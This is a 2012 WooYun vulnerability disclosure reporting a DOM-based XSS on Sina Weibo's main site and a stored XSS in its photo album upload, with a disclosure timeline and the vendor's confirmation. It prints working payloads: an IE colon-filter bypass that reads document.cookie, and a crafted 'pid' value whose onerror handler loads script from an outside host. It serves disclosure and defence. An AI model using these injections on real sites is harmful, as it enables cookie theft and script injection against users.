当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07846

漏洞标题:新浪微博主站XSS + 微博某官方应用存储型XSS

相关厂商:新浪

漏洞作者: gainover

提交时间:2012-06-03 17:40

修复时间:2012-07-18 17:40

公开时间:2012-07-18 17:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-03: 细节已通知厂商并且等待厂商处理中
2012-06-03: 厂商已经确认,细节仅向厂商公开
2012-06-13: 细节向核心白帽子及相关领域专家公开
2012-06-23: 细节向普通白帽子公开
2012-07-03: 细节向实习白帽子公开
2012-07-18: 细节向公众公开

简要描述:

单独一个反射型的不好意思发,然后就跑去找啊找。。凑个存储型的一起发。。
这2天打开我们这边的电信好像出了问题, 打开乌云特别慢!! 我提交这个。。弄了3,4次,都卡住了。
无奈之下。切换教育网。。。。。
BTW,新浪的礼物着实不错,不管价值多少,数量还是很可观的,俺转手送妹子也可以多分几个妹子~~ 。 *^_^*
1. 新浪微博某处代码过滤不严,导致在IE下可以触发XSS攻击。
2. 微博某应用某处输入输出未过滤,导致存储型XSS。

详细说明:

1. 第一个问题,网易微博和你们存在一样的问题,有问题的代码段也是一模一样。
以下是有问题的JS代码,该代码在几乎每个页面下均存在。

<script type="text/javascript">
(function() {
var url = location.toString();
var index = url.indexOf('#!');
if (index != -1) {
location.replace(url.substr(index + 2).replace(/\:/g, ''));
}
})();
</script>


虽然代码过滤了冒号,但是在IE下(测试时为win7+ IE9),我们可以通过以下方式绕过。

http://www.weibo.com/gainover#!javascript&#x3A;alert(document.cookie)


-----------------------------------------------
2. 微博相册功能存储型XSS
A. 进入相册之后,还是先上传了个图片,试了下图片的描述,标签等位置,均被过滤了。。
B. 回到相册首页(http://photo.weibo.com/{你的ID}/photos)打开调试工具,查看刚上传的图片。 会看到以下内容。
[图片_2_1]


C. 可以看到图_2_1所示,里面有一个pid,不难推测是picture_id之意。 那么这个pid,是服务器端所分配,还是我们可以自定义输入呢?
D. 带着这个疑问,我们再回到上传功能,抓包, 见图_2_2
[图片_2_2]


E. 可以发现,这里貌似可以自己写入pid,就是不知道新浪做了过滤没有,当然,每次这个时候,我都是心里祈祷:“没过滤,没过滤,没过滤。。。。”
在我强大念力的支持下, 新浪的防线崩溃了,
我们修改pid为

1dtl0mv6r0bj">


果然没过滤。侧漏啦~~
[图片_2_3]


F. 但是比较意外的是,再打开chrome调试工具的时候,我们发现,我们原来最开始看到的那个pid的位置并没有改变,而我们的代码,是插到了<img src="http://xxxx/pid{我们的代码}.jpg"> ,见图2_4。
[图片_2_4]


到这里,才发现自己眼瞎了。最初看到的那个 pid 和我们POST的pid其实根本不是一个东西。。。 list-data里的pid是纯数字,我们post的pid是数字+字母组合!!
G. 歪打正着了。。。歪打正着了。。
H. 看岔了也没什么,反正我们发现一处没过滤的位置,那就好办啦,我们开始构造我们的代码。
修改pid为以下内容。然后提交。 由于pid长度有大约75的限制,故事也jQuery来调用外部JS

http://photo.weibo.com/upload/photo
POSTDATA
album_id 3452856527901069
pid 1dtl0mv6r0bj" onerror="jQuery.getScript('//xsst.sinaapp.com/m.js')"><b/


G. 效果见漏洞截图证明,
以下是被插入的代码
[图片_2_5]


或打开以下测试页面!
http://photo.weibo.com/2818517120/albums/detail/album_id/3452856527901069
http://photo.weibo.com/2818517120/photos/detail/photo_id/3452864928806857

漏洞证明:

第一个XSS证明:


第二个XSS证明:

修复方案:

对 http://photo.weibo.com/upload/photo 的 pid 进行过滤。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-06-03 18:41

厂商回复:

第一个是DOM型,第二个存储型。

最新状态:

暂无